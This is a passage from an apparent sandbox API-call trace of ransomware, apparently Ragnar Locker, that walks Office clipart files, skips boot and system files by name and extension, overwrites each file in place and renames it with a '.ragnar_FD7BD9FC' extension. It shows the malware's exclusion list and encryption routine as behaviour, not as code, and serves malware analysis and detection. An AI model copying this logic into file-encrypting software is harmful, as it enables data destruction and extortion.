lpString2="thumbs.db") returned -1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.768] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0080.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.769] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5270) returned 1 [0080.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x148d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.769] GetProcessHeap () returned 0x580000 [0080.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.769] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.770] VirtualAlloc (lpAddress=0x0, dwSize=0x1496, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.771] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1496, lpOverlapped=0x0) returned 1 [0080.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.772] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1496, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.772] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1496, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1496, lpOverlapped=0x0) returned 1 [0080.772] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1496, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.772] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.772] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.772] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.772] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.772] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.772] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.772] GetProcessHeap () returned 0x580000 [0080.772] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.773] CloseHandle (hObject=0xf4) returned 1 [0080.773] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" [0080.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.ragnar_FD7BD9FC" [0080.773] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0080.773] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.773] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CRANINST.WMF" | out: lpString1="CRANINST.WMF") returned="CRANINST.WMF" [0080.773] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned=".WMF" [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="autorun.inf") returned 1 [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="boot.ini") returned 1 [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="bootfont.bin") returned 1 [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="bootsect.bak") returned 1 [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="bootmgr") returned 1 [0080.773] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="bootmgr.efi") returned 1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="bootmgfw.efi") returned 1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="desktop.ini") returned -1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="iconcache.db") returned -1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="ntldr") returned -1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="ntuser.dat") returned -1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="ntuser.dat.log") returned -1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="ntuser.ini") returned -1 [0080.774] lstrcmpiW (lpString1="CRANINST.WMF", lpString2="thumbs.db") returned -1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.774] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0080.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.775] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=49546) returned 1 [0080.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc181, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.775] GetProcessHeap () returned 0x580000 [0080.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.775] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.776] VirtualAlloc (lpAddress=0x0, dwSize=0xc18a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.777] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc18a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc18a, lpOverlapped=0x0) returned 1 [0080.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.779] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.779] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc18a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc18a, lpOverlapped=0x0) returned 1 [0080.779] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.779] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc18a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.780] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.780] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.780] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.780] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.780] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.780] GetProcessHeap () returned 0x580000 [0080.780] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.780] CloseHandle (hObject=0xf4) returned 1 [0080.780] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" [0080.780] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.ragnar_FD7BD9FC" [0080.780] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0080.781] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.781] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CUP.WMF" | out: lpString1="CUP.WMF") returned="CUP.WMF" [0080.781] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned=".WMF" [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="autorun.inf") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="boot.ini") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="bootfont.bin") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="bootsect.bak") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="bootmgr") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="bootmgr.efi") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="bootmgfw.efi") returned 1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="desktop.ini") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="iconcache.db") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="ntldr") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="ntuser.dat") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="ntuser.dat.log") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="ntuser.ini") returned -1 [0080.781] lstrcmpiW (lpString1="CUP.WMF", lpString2="thumbs.db") returned -1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.781] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0080.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.782] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2966) returned 1 [0080.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.782] GetProcessHeap () returned 0x580000 [0080.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.782] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.784] VirtualAlloc (lpAddress=0x0, dwSize=0xb96, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.784] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb96, lpOverlapped=0x0) returned 1 [0080.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb96, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.784] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb96, lpOverlapped=0x0) returned 1 [0080.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.785] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.785] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.785] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.785] GetProcessHeap () returned 0x580000 [0080.785] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.785] CloseHandle (hObject=0xf4) returned 1 [0080.785] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" [0080.785] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.ragnar_FD7BD9FC" [0080.786] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.786] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0080.786] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.786] lstrcpyW (in: lpString1=0x1eb62e, lpString2="CUPINST.WMF" | out: lpString1="CUPINST.WMF") returned="CUPINST.WMF" [0080.786] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned=".WMF" [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="autorun.inf") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="boot.ini") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="bootfont.bin") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="bootsect.bak") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="bootmgr") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="bootmgr.efi") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="bootmgfw.efi") returned 1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="desktop.ini") returned -1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="iconcache.db") returned -1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="ntldr") returned -1 [0080.786] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="ntuser.dat") returned -1 [0080.787] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="ntuser.dat.log") returned -1 [0080.787] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="ntuser.ini") returned -1 [0080.787] lstrcmpiW (lpString1="CUPINST.WMF", lpString2="thumbs.db") returned -1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.787] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0080.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, 